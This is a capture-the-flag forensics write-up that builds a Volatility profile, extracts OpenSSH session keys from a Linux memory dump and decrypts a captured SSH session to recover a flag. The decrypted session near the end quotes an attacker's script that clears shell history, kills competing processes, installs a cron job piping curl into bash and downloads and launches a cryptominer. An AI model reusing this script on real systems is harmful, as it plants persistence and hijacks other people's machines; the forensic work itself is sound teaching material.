# Introduction

We were given two files:

- capture.pcap, corresponding to a SSH conversation.
- dump.mem, which is probably a memory dump file.

# First approach


Impossible to read as-it the capture.pcap file with any other tool or data. Wireshark show us that SSH communication is established with `SSH Version 2 (encryption:[email protected] mac:<implicit> compression:none)` and Key Exchange `method:curve25519-sha256` in the Key Exchange init packet.

## Memory dump

We will use Volatility to read the file `dump.mem`. We tried to identify automatically the image profile but Volatility fails.

> sudo python /opt/volatility/vol.py -f dump.mem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : No suggestion (Instantiated with no profile)
AS Layer1 : LimeAddressSpace (Unnamed AS)
AS Layer2 : FileAddressSpace (/home/seb/Documents/htb/ctf/compromised/dump.mem)
PAE type : No PAE

So we probably need to build a specific profile for this dump. Let's search for some pieces of information about the OS. We suppose first it is a Linux:

> strings dump.mem | grep -i "GNU/Linux"
elcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)

Ok, so it is a memory dump from Ubuntu 18.04.5 LTS with the kernel version 4.15.0-142-generic x86_64.
To build a new Volatility profile :

1. Create a virtual machine based on Ubuntu 18.04 LTS (https://cdimage.ubuntu.com/releases/18.04/release/ubuntu-18.04.5-server-amd64.iso).
2. After the installation and starting up, update the kernel to version 4.15.0-142-generic x86_64: `sudo apt install linux-image-4.15.0-142-generic` then reboot.
3. Install the profile building tools: `sudo apt install dwarfdump build-essential libelf-dev zip`
4. Create the profile:

git clone https://github.com/volatilityfoundation/volatility.git
cd volatility/tools/linux/ && make
cd ../../../
zip $(lsb_release -i -s)_$(uname -r)_profile.zip ./volatility/tools/linux/module.dwarf /boot/System.map-$(uname -r)
rm -rf ./volatility

6. A file `Ubuntu_4.15.0-142-generic_profile.zip` should be generated. Install it in the Volatility plugin profiles folder (Well ... Not always so easy because varying on the version, installation type, black magic, ... For me, the profile has to be installed in `/usr/local/lib/python2.7/dist-packages/volatility-2.6.1-py2.7.egg/volatility/plugins/overlays/linux/Ubuntu/x64/`).

After that, we should be able to do some investigation on the memory dump.

Check if the profile is available:

sudo python /opt/volatility/vol.py --plugins=/usr/local/lib/python2.7/dist-packages/volatility-2.6.1-py2.7.egg/volatility/plugins --info

LinuxUbuntu_4_15_0-142-generic_profilex64 - A Profile for Linux Ubuntu_4.15.0-142-generic_profile x64

Use the profile:

> sudo python /opt/volatility/vol.py --plugins=/usr/local/lib/python2.7/dist-packages/volatility-2.6.1-py2.7.egg/volatility/plugins/ --profile=LinuxUbuntu_4_15_0-142-generic_profilex64 -f dump.mem linux_psaux
Volatility Foundation Volatility Framework 2.6.1

Pid Uid Gid Arguments
1 0 0 /sbin/init maybe-ubiquity
2 0 0 [kthreadd]
3 0 0 [kworker/0:0]
4 0 0 [kworker/0:0H]
5 0 0 [kworker/u2:0]
6 0 0 [mm_percpu_wq]

First step done!

# Digging into memory

We suppose we have to decrypt the SSH conversation.
But we have to know what we have to look for.

The Wireshark documentation about SSH (https://wiki.wireshark.org/SSH) tells us that there is no SSH dissector available and it is not possible ... "unless the shared secret (from the Diffie-Hellman key exchange) is extracted from the SSH server or client".

Ok, so we need to find and extract the Shared Secret from the server, so from the memory dump.

After some reading on Internet, we found this interesting paper: https://blog.fox-it.com/2020/11/11/decrypting-openssh-sessions-for-fun-and-profit/.
Some artefact are stored in memory by OpenSSH and can be extracted.
The author, Jelle Vergeer, wrote a Volatility plugin and a Network parser to get the keys and decrypt the SSH conversation.

So, if not already present, install the Volatility plugin from `https://github.com/fox-it/OpenSSH-Session-Key-Recovery/blob/main/volatility2/openssh_sessionkeys.py`, then run it on the memory dump (the plugin name depends on its filename on your system):

> sudo python /opt/volatility/vol.py --plugins=/usr/local/lib/python2.7/dist-packages/volatility-2.6.1-py2.7.egg/volatility/plugins/ --profile=LinuxUbuntu_4_15_0-142-generic_profilex64 -f dump.mem linux_sshkeys
Volatility Foundation Volatility Framework 2.6.1

\ (_)/ OpenSSH Session Key Dumper
\ X By Jelle Vergeer
\ / \
Scanning for OpenSSH sshenc structures...

Name Pid PPid Address Name Key IV
------------------------------ -------- -------- ------------------ ------------------------------ -------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------
sshd [sshd: developer@pts/0] 1692 1575 0x000055976d18cb40 [email protected] 893112f1ef2bf4567ca289545efeb1a20dd709ee18c0b5b83b2b85541bc93d1f 0b1148709466289120d7a241
sshd [sshd: developer@pts/0] 1692 1575 0x000055976d18ccc0 [email protected] 06baa1f1779207f120813e3986854cc3e2196fa82cc6d6ec756409ad86e8c94a 5865d3c75d5dc1f2e19e6406

Excellent, so we got the secrets!

# SSH decryption and flag

So now, we can theoretically possible to decrypt the SSH conversation with these keys. We will use the tool https://github.com/fox-it/OpenSSH-Network-Parser.

After (a lot of) difficulties to install and run the tool, I manage to install and run it in a fresh Debian VM (Note for myself: next time I will just use an based-Debian Docker image for this ...).

`keys.json` file (*NB: with conversion from hex to dec addresses*):

{"task_name": "sshd", "sshenc_addr": 94108858764096, "cipher_name": "[email protected]", "key": "893112f1ef2bf4567ca289545efeb1a20dd709ee18c0b5b83b2b85541bc93d1f", "iv": "0b1148709466289120d7a241"}
{"task_name": "sshd", "sshenc_addr": 94108858764480, "cipher_name": "[email protected]", "key": "06baa1f1779207f120813e3986854cc3e2196fa82cc6d6ec756409ad86e8c94a", "iv": "5865d3c75d5dc1f2e19e6406"}

Then, run:

mkdir /tmp/ssh
network-parser -p capture.pcap --popt keyfile=keys.json --proto ssh -o /tmp/ssh/
network-parser -p capture.pcap --popt keyfile=keys.json --proto ssh -o /tmp/ssh/ -vvvv

The conversation will be stored in clear-text in files from folder /tmp/ssh.

less /tmp/ssh/

[User Auth Request]
username: 'developer'
service_name: 'ssh-connection'
method_name: 'password'
Password: HTB{w3ll_1_th0ught_


export HISTFILE=/dev/null^Mps aux | grep -vw suppoie | awk '{if($3>40.0) print $2}' | while read procid^Mdo^Mkill -9 $procid^Mdone^Mrm -rf /dev/shm/jboss^Mps -fe|grep -w suppoie |grep -v grep^Mif [ $? -eq 0 ]^Mthen^Mpwd^Melse^Mcrontab -r || true && \^Mecho "* * * * * curl -s | bash -s" >> /tmp/cron || true && \^Mcrontab /tmp/cron || true && \^Mrm -rf /tmp/cron || true && \^Mcurl -o /var/tmp/config.json^Mcurl -o /var/tmp/suppoie^Mecho "bjBfMG4zX3cwdWxkX2YxbmRfbTMhISF9Cg" > /dev/null^Mchmod 777 /var/tmp/suppoie^Mcd /var/tmp^Mproc=`grep -c ^processor /proc/cpuinfo`^Mcores=$((($proc+1)/2))^Mnum=$(($cores*3))^M/sbin/sysctl -w vm.nr_hugepages=`$num`^Mnohup ./suppoie -c config.json -t `echo $cores` >/dev/null &^Mfi^Msleep 3^Mecho "running....."
export HISTFILE=/dev/null

The flag is in two parts:

- First part in clear-text: `HTB{w3ll_1_th0ught_`
- Second part from the a base64 encoded string `bjBfMG4zX3cwdWxkX2YxbmRfbTMhISF9Cg`:

printf "bjBfMG4zX3cwdWxkX2YxbmRfbTMhISF9Cg" | base64 -d

Flag: `HTB{w3ll_1_th0ught_n0_0n3_w0uld_f1nd_m3!!!}`